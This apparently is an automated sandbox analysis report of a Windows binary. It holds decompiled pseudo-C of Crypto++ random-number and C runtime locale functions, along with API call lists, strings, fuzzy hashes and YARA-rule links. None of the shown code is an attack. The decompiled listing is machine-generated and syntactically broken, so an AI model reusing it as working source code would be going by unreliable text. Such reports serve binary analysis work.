				asm("movq [ebp-0x48], xmm0");
				 *(_t94 + 0x10) = 0;
				 *(_t94 + 0x14) = 0xf;
				 *_t94 = 0;
				_v8 = 2;
				_t95 = E00068D20( &_v92, _t171, 0x13ea08, 2);
				_v28 = 0;
				_v24 = 0;
				_v144 = 7;
				asm("movups xmm0, [eax]");
				asm("movups [ebp-0x28], xmm0");
				asm("movq xmm0, [eax+0x10]");
				asm("movq [ebp-0x18], xmm0");
				 *(_t95 + 0x10) = 0;
				 *(_t95 + 0x14) = 0xf;
				 *_t95 = 0;
				_t156 = _v28;
				_t142 =  *((intOrPtr*)(_t171 + 0x10));
				_v8 = 3;
				if(_t142 <= _v24 - _t156 ||  *((intOrPtr*)(_t171 + 0x14)) - _t142 < _t156) {
					__eflags =  *((intOrPtr*)(_t171 + 0x14)) - 0x10;
					if( *((intOrPtr*)(_t171 + 0x14)) >= 0x10) {
						_t171 =  *_t171;
					}
					_t98 = E00068D20( &_v44, _t171, _t171, _t142);
				} else {
					_push(_t156);
					_t133 =  >=  ? _v44 :  &_v44;
					_push( >=  ? _v44 :  &_v44);
					_t98 = E00072F10(_t171, 0);
				}
				asm("movups xmm0, [eax]");
				_v144 = 0xf;
				asm("movups [ebp-0x70], xmm0");
				asm("movq xmm0, [eax+0x10]");
				 *(_t98 + 0x10) = 0;
				 *(_t98 + 0x14) = 0xf;
				 *_t98 = 0;
				asm("movq [ebp-0x60], xmm0");
				asm("xorps xmm0, xmm0");
				asm("movq [edi+0x4], xmm0");
				_v8 = 5;
				 *_t168 = 0x13b7a4;
				 *((intOrPtr*)(_t168 + 0xc)) = 6;
				E00064B40(_t168 + 0x10, _t156,  &_v116);
				_t157 = _v96;
				if(_t157 < 0x10) {
					L12:
					_t158 = _v24;
					if(_t158 < 0x10) {
						L16:
						_t159 = _v72;
						_v28 = 0;
						_v24 = 0xf;
						_v44 = 0;
						if(_t159 < 0x10) {
							L20:
							_t160 = _v48;
							_v76 = 0;
							_v72 = 0xf;
							_v92 = 0;
							if(_t160 < 0x10) {
								L24:
								_t161 = _v120;
								_v52 = 0;
								_v48 = 0xf;
								_v68 = 0;
								if(_t161 < 0x10) {
									L28:
									 *_t168 = 0x13e9cc;
									 *[fs:0x0] = _v16;
									return E000ECED8(_v20 ^ _t174);
								} else {
									_t149 = _v140;
									_t162 = _t161 + 1;
									_t103 = _t149;
									if(_t162 < 0x1000) {
										L27:
										_push(_t162);
										E000ED2D0(_t149);
										goto L28;
									} else {
										_t149 =  *((intOrPtr*)(_t149 - 4));
										_t162 = _t162 + 0x23;
										if(_t103 - _t149 + 0xfffffffc > 0x1f) {
											goto L33;
										} else {
											goto L27;
										}
									}
								}
							} else {
								_t150 = _v68;
								_t163 = _t160 + 1;
								_t110 = _t150;
								if(_t163 < 0x1000) {
									L23:
									_push(_t163);
									E000ED2D0(_t150);
									_t178 = _t178 + 8;
									goto L24;
								} else {
									_t149 =  *((intOrPtr*)(_t150 - 4));
									_t162 = _t163 + 0x23;
									if(_t110 - _t149 + 0xfffffffc > 0x1f) {
										goto L32;
									} else {
										goto L23;
									}
								}
							}
						} else {
							_t151 = _v92;
							_t164 = _t159 + 1;
							_t115 = _t151;
							if(_t164 < 0x1000) {
								L19:
								_push(_t164);
								E000ED2D0(_t151);
								_t178 = _t178 + 8;
								goto L20;
							} else {
								_t149 =  *((intOrPtr*)(_t151 - 4));
								_t162 = _t164 + 0x23;
								if(_t115 - _t149 + 0xfffffffc > 0x1f) {
									goto L31;
								} else {
									goto L19;
								}
							}
						}
					} else {
						_t152 = _v44;
						_t165 = _t158 + 1;
						_t120 = _t152;
						if(_t165 < 0x1000) {
							L15:
							_push(_t165);
							E000ED2D0(_t152);
							_t178 = _t178 + 8;
							goto L16;
						} else {
							_t149 =  *((intOrPtr*)(_t152 - 4));
							_t162 = _t165 + 0x23;
							if(_t120 - _t149 + 0xfffffffc > 0x1f) {
								goto L30;
							} else {
								goto L15;
							}
						}
					}
				} else {
					_t153 = _v116;
					_t166 = _t157 + 1;
					_t125 = _t153;
					if(_t166 < 0x1000) {
						L11:
						_push(_t166);
						E000ED2D0(_t153);
						_t178 = _t178 + 8;
						goto L12;
					} else {
						_t149 =  *((intOrPtr*)(_t153 - 4));
						_t162 = _t166 + 0x23;
						if(_t125 - _t149 + 0xfffffffc > 0x1f) {
							E0010F44B(_t134, _t149, _t162, _t168, __eflags);
							L30:
							E0010F44B(_t134, _t149, _t162, _t168, __eflags);
							L31:
							E0010F44B(_t134, _t149, _t162, _t168, __eflags);
							L32:
							E0010F44B(_t134, _t149, _t162, _t168, __eflags);
							L33:
							E0010F44B(_t134, _t149, _t162, _t168, __eflags);
							asm("int3");
							asm("int3");
							 *_t149 = 0x13e9d8;
							_t108 =  *(_t149 + 4);
							__eflags = _t108;
							if(_t108 != 0) {
								return CryptReleaseContext(_t108, 0);
							}
							return _t108;
						} else {
							goto L11;
						}
					}
				}
			}

0x000ca3b0
0x000ca3b0
0x000ca3b1
0x000ca3b3
0x000ca3b5
0x000ca3c0
0x000ca3c7
0x000ca3cc
0x000ca3ce
0x000ca3d1
0x000ca3d3
0x000ca3d7
0x000ca3dd
0x000ca3df
0x000ca3e8
0x000ca3f0
0x000ca3f6
0x000ca40e
0x000ca413
0x000ca416
0x000ca421
0x000ca428
0x000ca42f
0x000ca43c
0x000ca441
0x000ca44b
0x000ca45a
0x000ca45f
0x000ca469
0x000ca46c
0x000ca46e
0x000ca46e
0x000ca475
0x000ca484
0x000ca489
0x000ca490
0x000ca497
0x000ca4a1
0x000ca4a4
0x000ca4a8
0x000ca4ad
0x000ca4b2
0x000ca4b9
0x000ca4c0
0x000ca4cd
0x000ca4d1
0x000ca4d6
0x000ca4dd
0x000ca4e4
0x000ca4ee
0x000ca4f1
0x000ca4f5
0x000ca4fa
0x000ca4ff
0x000ca506
0x000ca50d
0x000ca513
0x000ca518
0x000ca51b
0x000ca521
0x000ca544
0x000ca548
0x000ca54a
0x000ca54a
0x000ca551
0x000ca52c
0x000ca533
0x000ca534
0x000ca53a
0x000ca53d
0x000ca53d
0x000ca556
0x000ca559
0x000ca563
0x000ca567
0x000ca56c
0x000ca573
0x000ca57a
0x000ca57d
0x000ca582
0x000ca585
0x000ca58d
0x000ca595
0x000ca59b
0x000ca5a2
0x000ca5a7
0x000ca5ad
0x000ca5db
0x000ca5db
0x000ca5e1
0x000ca60f
0x000ca60f
0x000ca612
0x000ca619
0x000ca620
0x000ca627
0x000ca655
0x000ca655
0x000ca658
0x000ca65f
0x000ca666
0x000ca66d
0x000ca69b
0x000ca69b
0x000ca69e
0x000ca6a5
0x000ca6ac
0x000ca6b3
0x000ca6e0
0x000ca6e0
0x000ca6eb
0x000ca702
0x000ca6b5
0x000ca6b5
0x000ca6bb
0x000ca6bc
0x000ca6c4
0x000ca6d6
0x000ca6d6
0x000ca6d8
0x00000000
0x000ca6c6
0x000ca6c6
0x000ca6c9
0x000ca6d4
0x00000000
0x00000000
0x00000000
0x00000000
0x000ca6d4
0x000ca6c4
0x000ca66f
0x000ca66f
0x000ca672
0x000ca673
0x000ca67b
0x000ca691
0x000ca691
0x000ca693
0x000ca698
0x00000000
0x000ca67d
0x000ca67d
0x000ca680
0x000ca68b
0x00000000
0x00000000
0x00000000
0x00000000
0x000ca68b
0x000ca67b
0x000ca629
0x000ca629
0x000ca62c
0x000ca62d
0x000ca635
0x000ca64b
0x000ca64b
0x000ca64d
0x000ca652
0x00000000
0x000ca637
0x000ca637
0x000ca63a
0x000ca645
0x00000000
0x00000000
0x00000000
0x00000000
0x000ca645
0x000ca635
0x000ca5e3
0x000ca5e3
0x000ca5e6
0x000ca5e7
0x000ca5ef
0x000ca605
0x000ca605
0x000ca607
0x000ca60c
0x00000000
0x000ca5f1
0x000ca5f1
0x000ca5f4
0x000ca5ff
0x00000000
0x00000000
0x00000000
0x00000000
0x000ca5ff
0x000ca5ef
0x000ca5af
0x000ca5af
0x000ca5b2
0x000ca5b3
0x000ca5bb
0x000ca5d1
0x000ca5d1
0x000ca5d3
0x000ca5d8
0x00000000
0x000ca5bd
0x000ca5bd
0x000ca5c0
0x000ca5cb
0x000ca705
0x000ca70a
0x000ca70a
0x000ca70f
0x000ca70f
0x000ca714
0x000ca714
0x000ca719
0x000ca719
0x000ca71e
0x000ca71f
0x000ca720
0x000ca726
0x000ca729
0x000ca72b
0x00000000
0x000ca730
0x000ca736
0x00000000
0x00000000
0x00000000
0x000ca5cb
0x000ca5bb

APIs

GetLastError.KERNEL32(00000010,D529E887,77749159), ref: 000CA400

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,0013EA08,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 000CA730

Strings

operation failed with error , xrefs: 000CA47C
OS_Rng: , xrefs: 000CA452

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ContextCryptErrorFeatureLastPresentProcessorRelease___raise_securityfailure
String ID: operation failed with error $OS_Rng:
API String ID: 2382963422-700108173
Opcode ID: e15823cf7818fa35f1c2063b6c47b1f29b04407e41939ea9c6398b603fb69aa2
Instruction ID: de46fe040ab5badd1766fcc5d578550df0d756ded2aaf29534793211f8baa8ae
Opcode Fuzzy Hash: e15823cf7818fa35f1c2063b6c47b1f29b04407e41939ea9c6398b603fb69aa2
Instruction Fuzzy Hash: 08A1A371A002488FEB18CF68CD89BDDBBB1FF55308F14825DE405AB2D2DB759A84CB61

Uniqueness

Uniqueness Score: 100.00%

Function 000CA810, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75
encryptionUNIQUE

Download Yara Rule

C-Code - Quality: 54%

			E000CA810(void* __ebx, void* __edx, void* __edi, void* __eflags, BYTE* _a8, int _a12) {
				int _v8;
				int _v12;
				char _v16;
				signed int _v20;
				long* _v24;
				char _v44;
				char _v84;
				void* _v85;
				long* _v92;
				char _v96;
				char _v124;
				void* __esi;
				void* __ebp;
				signed int _t27;
				long** _t31;
				signed int _t39;
				signed int _t42;
				long* _t43;
				long* _t44;
				long* _t46;
				long* _t49;
				long* _t50;
				long* _t52;
				char* _t60;
				long* _t73;
				BYTE* _t76;
				long* _t78;
				signed int _t81;
				void* _t83;
				signed int _t84;

				_t70 = __edx;
				_t55 = __ebx;
				_push(0xffffffff);
				_push(0x136040);
				_push( *[fs:0x0]);
				_t84 = _t83 - 0x50;
				_t27 =  *0x16f170; // 0xd529e887
				_v20 = _t27 ^ _t81;
				 *[fs:0x0] =  &_v16;
				_t76 = _a8;
				E000ADB10( &_v96, __edx, 1);
				_v96 = 0x13e9d8;
				_t31 = E000CA250(__ebx,  &_v92, __edx, _t27 ^ _t81);
				_v8 = 0;
				L5();
				if(CryptGenRandom( *_t31, _a12, _t76) == 0) {
					E00064B00( &_v44, "CryptGenRandom");
					_v8 = 1;
					_t60 =  &_v84;
					E000CA3B0(__ebx, _t60, _t70, __edi, _t76, __eflags,  &_v44);
					E001047B7( &_v84, 0x16909c);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t81);
					_push(0xffffffff);
					_push(0x13607f);
					_push( *[fs:0x0]);
					_push(_t60);
					_push(_t76);
					_push(__edi);
					_t39 =  *0x16f170; // 0xd529e887
					_push(_t39 ^ _t84);
					 *[fs:0x0] =  &_v124;
					_t42 =  *0x178030; // 0x1
					__eflags = _t42 & 0x00000001;
					if((_t42 & 0x00000001) == 0) {
						_t50 = _t42 | 0x00000001;
						__eflags = _t50;
						 *0x178030 = _t50;
						 *0x17802c = 0;
						E000ED2BB(_t50, 0x138df0);
						_t84 = _t84 + 4;
					}
					_t43 =  *0x17802c; // 0x0
					__eflags = _t43;
					if(__eflags != 0) {
						L18:
						 *[fs:0x0] = _v20;
						return _t43;
					} else {
						_push(4);
						_t44 = E000ECF08(_t76, __eflags);
						_v24 = _t44;
						_v12 = 0;
						__eflags = _t44;
						if(_t44 == 0) {
							_t78 = 0;
							__eflags = 0;
						} else {
							_t49 = E000CA250(_t55, _t44, _t70); // executed
							_t78 = _t49;
						}
						_t73 =  *0x17802c; // 0x0
						__eflags = _t73;
						if(_t73 == 0) {
							 *0x17802c = _t78;
							_t43 = _t78;
							goto L18;
						} else {
							__eflags = _t78;
							if(_t78 != 0) {
								_t46 =  *_t78;
								__eflags = _t46;
								if(_t46 != 0) {
									CryptReleaseContext(_t46, 0);
								}
								_push(4);
								E000ED2D0(_t78);
							}
							 *[fs:0x0] = _v20;
							return _t73;
						}
					}
				} else {
					_t52 = _v92;
					_v96 = 0x13e9d8;
					if(_t52 != 0) {
						CryptReleaseContext(_t52, 0);
					}
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t81);
				}
			}

0x000ca810
0x000ca810
0x000ca813
0x000ca815
0x000ca820
0x000ca821
0x000ca824
0x000ca82b
0x000ca833
0x000ca839
0x000ca841
0x000ca849
0x000ca850
0x000ca858
0x000ca85f
0x000ca872
0x000ca8ad
0x000ca8b5
0x000ca8ba
0x000ca8bd
0x000ca8cb
0x000ca8d0
0x000ca8d1
0x000ca8d2
0x000ca8d3
0x000ca8d4
0x000ca8d5
0x000ca8d6
0x000ca8d7
0x000ca8d8
0x000ca8d9
0x000ca8da
0x000ca8db
0x000ca8dc
0x000ca8dd
0x000ca8de
0x000ca8df
0x000ca8e0
0x000ca8e3
0x000ca8e5
0x000ca8f0
0x000ca8f1
0x000ca8f2
0x000ca8f3
0x000ca8f4
0x000ca8fb
0x000ca8ff
0x000ca905
0x000ca90a
0x000ca90c
0x000ca90e
0x000ca90e
0x000ca911
0x000ca91b
0x000ca925
0x000ca92a
0x000ca92a
0x000ca92d
0x000ca932
0x000ca934
0x000ca99e
0x000ca9a1
0x000ca9ae
0x000ca936
0x000ca936
0x000ca938
0x000ca940
0x000ca943
0x000ca94a
0x000ca94c
0x000ca959
0x000ca959
0x000ca94e
0x000ca950
0x000ca955
0x000ca955
0x000ca95b
0x000ca961
0x000ca963
0x000ca996
0x000ca99c
0x00000000
0x000ca965
0x000ca965
0x000ca967
0x000ca969
0x000ca96b
0x000ca96d
0x000ca972
0x000ca972
0x000ca978
0x000ca97b
0x000ca980
0x000ca988
0x000ca995
0x000ca995
0x000ca963
0x000ca874
0x000ca874
0x000ca877
0x000ca880
0x000ca885
0x000ca885
0x000ca88e
0x000ca8a4
0x000ca8a4

APIs

Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBAD
Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBDB
Part of subcall function 000ADB10: ___std_exception_copy.LIBVCRUNTIME ref: 000ADC32

Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,D529E887,0017A548,?,00000000), ref: 000CA295
Part of subcall function 000CA250: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF,?,000CAA20), ref: 000CA29B
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 000CA2AF
Part of subcall function 000CA250: CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 000CA2C0
Part of subcall function 000CA250: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00134D48,000000FF), ref: 000CA2E5
Part of subcall function 000CA250: __CxxThrowException@8.LIBVCRUNTIME ref: 000CA314
Part of subcall function 000CA250: ___std_exception_copy.LIBVCRUNTIME ref: 000CA362

Part of subcall function 000CA8E0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 000CA972

CryptGenRandom.ADVAPI32(00000000,D529E887,7757C452), ref: 000CA86A
CryptReleaseContext.ADVAPI32(D529E887,00000000), ref: 000CA885

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000CA3B0: GetLastError.KERNEL32(00000010,D529E887,77749159), ref: 000CA400
Part of subcall function 000CA3B0: CryptReleaseContext.ADVAPI32(00000001,00000000,?,00000000,?,0013EA08,00000002, operation failed with error ,0000001D,?,?,OS_Rng: ,00000008,?), ref: 000CA730

__CxxThrowException@8.LIBVCRUNTIME ref: 000CA8CB

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

CryptGenRandom, xrefs: 000CA8A5

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Crypt$Context$Exception@8Throw$AcquireErrorLastRelease$___std_exception_copy$ExceptionFeaturePresentProcessorRaiseRandom___raise_securityfailure
String ID: CryptGenRandom
API String ID: 75714684-3616286655
Opcode ID: 0de006c57cbc9a5df3659c1585f958d72e065ad657701a65725b8e33e14a3ae3
Instruction ID: 623579c2eb4bb25faf1d8e4b494d5b2debe8167f348b10f1828a20ba27bcdf0c
Opcode Fuzzy Hash: 0de006c57cbc9a5df3659c1585f958d72e065ad657701a65725b8e33e14a3ae3
Instruction Fuzzy Hash: 9D115971A40248EBDB14DFE4CC55BEEBBB8FF05714F404169B816B7281DB756508CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 00126A37, Relevance: 6.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00126A37(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v40;
				signed int _v52;
				char _v252;
				short _v292;
				void* __ebp;
				void* _t34;
				short* _t35;
				intOrPtr* _t36;
				void* _t39;
				signed short* _t44;
				intOrPtr _t47;
				void* _t49;
				signed int _t52;
				signed int _t58;
				signed int _t60;
				signed int _t66;
				void* _t68;
				void* _t71;
				void* _t76;
				void* _t80;
				intOrPtr _t87;
				short* _t89;
				void* _t90;
				void* _t92;
				signed int _t94;
				void* _t95;
				intOrPtr* _t98;
				void* _t112;
				void* _t116;
				intOrPtr* _t118;
				intOrPtr _t121;
				signed int* _t122;
				intOrPtr* _t125;
				signed short _t127;
				int _t129;
				signed int _t132;
				void* _t133;
				signed int _t134;

				_t115 = __edx;
				_push(__ecx);
				_push(__ecx);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t34 = E0011E008(__ebx, __ecx, __edx);
				_t87 = _a4;
				_t94 = 0;
				_v12 = 0;
				_t3 = _t34 + 0x50; // 0x50
				_t125 = _t3;
				_t4 = _t125 + 0x250; // 0x2a0
				_t35 = _t4;
				 *((intOrPtr*)(_t125 + 8)) = 0;
				 *_t35 = 0;
				_t6 = _t125 + 4; // 0x54
				_t118 = _t6;
				_v8 = _t35;
				_t36 = _t87 + 0x80;
				 *_t125 = _t87;
				 *_t118 = _t36;
				if( *_t36 != 0) {
					E001269C8(0x14d430, 0x16, _t118);
					_t133 = _t133 + 0xc;
					_t94 = 0;
				}
				_push(_t125);
				if( *((intOrPtr*)( *_t125)) == _t94) {
					E00126339(_t87, _t94, _t115, _t118, __eflags);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t118)) == _t94) {
						E0012645C();
					} else {
						E001263C2(_t94);
					}
					_pop(_t95);
					if( *((intOrPtr*)(_t125 + 8)) == 0) {
						_t80 = E001269C8(0x14d120, 0x40, _t125);
						_t133 = _t133 + 0xc;
						if(_t80 != 0) {
							_push(_t125);
							if( *((intOrPtr*)( *_t118)) == 0) {
								E0012645C();
							} else {
								E001263C2(0);
							}
							L12:
							_pop(_t95);
						}
					}
				}
				if( *((intOrPtr*)(_t125 + 8)) == 0) {
					L31:
					_t39 = 0;
					__eflags = 0;
					goto L32;
				} else {
					_t127 = E00126896(_t95, _t87 + 0x100, _t125);
					if(_t127 == 0 || _t127 == 0xfde8 || _t127 == 0xfde9 || IsValidCodePage(_t127 & 0x0000ffff) == 0) {
						goto L31;
					} else {
						_t44 = _a8;
						if(_t44 != 0) {
							 *_t44 = _t127;
						}
						_t121 = _a12;
						if(_t121 == 0) {
							L30:
							_t39 = 1;
							goto L32;
						} else {
							_t98 = _v8;
							_t15 = _t121 + 0x120; // 0x11a4dd
							_t89 = _t15;
							 *_t89 = 0;
							_t116 = _t98 + 2;
							do {
								_t47 =  *_t98;
								_t98 = _t98 + 2;
							} while (_t47 != _v12);
							_t100 = _t98 - _t116 >> 1;
							_push((_t98 - _t116 >> 1) + 1);
							_t49 = E0011B8F7(_t98 - _t116 >> 1, _t89, 0x55, _v8);
							_t134 = _t133 + 0x10;
							_t153 = _t49;
							if(_t49 != 0) {
								__eflags = 0;
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E0010F468();
								asm("int3");
								_t132 = _t134;
								_t52 =  *0x16f170; // 0xd529e887
								_v52 = _t52 ^ _t132;
								_push(_t89);
								_push(_t127);
								_push(_t121);
								_t90 = E0011E008(_t89, _t100, _t116);
								_t122 =  *(E0011E008(_t90, _t100, _t116) + 0x34c);
								_t129 = E0012714A(_v40);
								asm("sbb ecx, ecx");
								_t58 = GetLocaleInfoW(_t129, ( ~( *(_t90 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								__eflags = _t58;
								if(_t58 != 0) {
									_t60 = E001241EA(_t90, _t122, _t129,  *((intOrPtr*)(_t90 + 0x54)),  &_v252);
									__eflags = _t60;
									if(_t60 == 0) {
										_t66 = E0012727E(_t129);
										__eflags = _t66;
										if(_t66 != 0) {
											 *_t122 =  *_t122 | 0x00000004;
											__eflags =  *_t122;
											_t122[2] = _t129;
											_t122[1] = _t129;
										}
									}
									__eflags =  !( *_t122 >> 2) & 0x00000001;
								} else {
									 *_t122 =  *_t122 & _t58;
								}
								__eflags = _v12 ^ _t132;
								return E000ECED8(_v12 ^ _t132);
							} else {
								_t68 = E0011F384(_t100, _t127, _t153, _t89, 0x1001, _t121, 0x40);
								_t154 = _t68;
								if(_t68 == 0) {
									goto L31;
								} else {
									_t20 = _t121 + 0x80; // 0x11a43d
									_t92 = _t20;
									_t21 = _t121 + 0x120; // 0x11a4dd
									if(E0011F384(_t100, _t127, _t154, _t21, 0x1002, _t92, 0x40) == 0) {
										goto L31;
									} else {
										_push(0x5f);
										_t71 = E0012CA07(_t100);
										_t112 = _t92;
										if(_t71 != 0) {
											L28:
											_t22 = _t121 + 0x120; // 0x11a4dd
											if(E0011F384(_t112, _t127, _t157, _t22, 7, _t92, 0x40) == 0) {
												goto L31;
											} else {
												goto L29;
											}
										} else {
											_push(0x2e);
											_t76 = E0012CA07(_t112);
											_t112 = _t92;
											_t157 = _t76;
											if(_t76 == 0) {
												L29:
												_t23 = _t121 + 0x100; // 0x11a4bd
												E0012B101(_t112, _t127, _t23, 0x10, 0xa);
												goto L30;
											} else {
												goto L28;
											}
										}
									}
								}
								L32:
								return _t39;
							}
						}
					}
				}
			}

0x00126a37
0x00126a3c
0x00126a3d
0x00126a3e
0x00126a3f
0x00126a40
0x00126a41
0x00126a46
0x00126a49
0x00126a4b
0x00126a4e
0x00126a4e
0x00126a51
0x00126a51
0x00126a57
0x00126a5a
0x00126a5d
0x00126a5d
0x00126a60
0x00126a63
0x00126a69
0x00126a6b
0x00126a70
0x00126a7a
0x00126a7f
0x00126a82
0x00126a82
0x00126a86
0x00126a8a
0x00126ad3
0x00000000
0x00126a8c
0x00126a91
0x00126a9a
0x00126a93
0x00126a93
0x00126a93
0x00126aa1
0x00126aa5
0x00126aaf
0x00126ab4
0x00126ab9
0x00126abf
0x00126ac3
0x00126acc
0x00126ac5
0x00126ac5
0x00126ac5
0x00126ad8
0x00126ad8
0x00126ad8
0x00126ab9
0x00126aa5
0x00126ade
0x00126bf0
0x00126bf0
0x00126bf0
0x00000000
0x00126ae4
0x00126af1
0x00126af7
0x00000000
0x00126b27
0x00126b27
0x00126b2c
0x00126b2e
0x00126b2e
0x00126b30
0x00126b35
0x00126beb
0x00126bed
0x00000000
0x00126b3b
0x00126b3b
0x00126b3e
0x00126b3e
0x00126b46
0x00126b49
0x00126b4c
0x00126b4c
0x00126b4f
0x00126b52
0x00126b5a
0x00126b5f
0x00126b66
0x00126b6b
0x00126b6e
0x00126b70
0x00126bf9
0x00126bfb
0x00126bfc
0x00126bfd
0x00126bfe
0x00126bff
0x00126c00
0x00126c05
0x00126c09
0x00126c11
0x00126c18
0x00126c1b
0x00126c1c
0x00126c20
0x00126c26
0x00126c2e
0x00126c3d
0x00126c49
0x00126c5a
0x00126c60
0x00126c62
0x00126c73
0x00126c7a
0x00126c7c
0x00126c7f
0x00126c85
0x00126c87
0x00126c89
0x00126c89
0x00126c8c
0x00126c8f
0x00126c8f
0x00126c87
0x00126c99
0x00126c64
0x00126c64
0x00126c66
0x00126ca1
0x00126cac
0x00126b76
0x00126b7f
0x00126b84
0x00126b86
0x00000000
0x00126b88
0x00126b8a
0x00126b8a
0x00126b96
0x00126ba4
0x00000000
0x00126ba6
0x00126ba6
0x00126ba9
0x00126baf
0x00126bb2
0x00126bc2
0x00126bc7
0x00126bd5
0x00000000
0x00000000
0x00000000
0x00000000
0x00126bb4
0x00126bb4
0x00126bb7
0x00126bbd
0x00126bbe
0x00126bc0
0x00126bd7
0x00126bdb
0x00126be3
0x00000000
0x00000000
0x00000000
0x00000000
0x00126bc0
0x00126bb2
0x00126ba4
0x00126bf2
0x00126bf8
0x00126bf8
0x00126b70
0x00126b35
0x00126af7

APIs

Part of subcall function 0011E008: GetLastError.KERNEL32(B2AB117A,ios_base::failbit set,0010F5D5,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E00C
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E03F
Part of subcall function 0011E008: _free.LIBCMT ref: 0011E067
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E074
Part of subcall function 0011E008: SetLastError.KERNEL32(00000000,?,?,?,?,00000000,?,0006B1C9,00000000,00000000,D529E887), ref: 0011E080
Part of subcall function 0011E008: _abort.LIBCMT ref: 0011E086

Part of subcall function 00126896: GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00126AF1,00000000,00000050,?,?,?,?,?), ref: 00126971

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0011A3BD,?,?,?,?,00119E14,?,001522A0), ref: 00126B19

Part of subcall function 0011F384: GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,00119E14,?,001522A0), ref: 0011F3D7

_wcschr.LIBVCRUNTIME ref: 00126BA9
_wcschr.LIBVCRUNTIME ref: 00126BB7

Part of subcall function 0010F468: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0010F46A
Part of subcall function 0010F468: GetCurrentProcess.KERNEL32(C0000417), ref: 0010F48C
Part of subcall function 0010F468: TerminateProcess.KERNEL32(00000000), ref: 0010F493

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,0011A3BD,00000000,0011A4DD), ref: 00126C5A

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$FeatureInfoLocalePresentProcessProcessor_free_wcschr$CodeCurrentPageTerminateValid___raise_securityfailure_abort
String ID:
API String ID: 185669438-0
Opcode ID: 815cbc204ed459afaa7c6f99eba1b6ccd3d47239cb36e7a4d9e13e222f3812b2
Instruction ID: ff161fa22db508842092a4b0b9a12ad5bf2001bc22aac10a0d867b807eaaadef
Opcode Fuzzy Hash: 815cbc204ed459afaa7c6f99eba1b6ccd3d47239cb36e7a4d9e13e222f3812b2
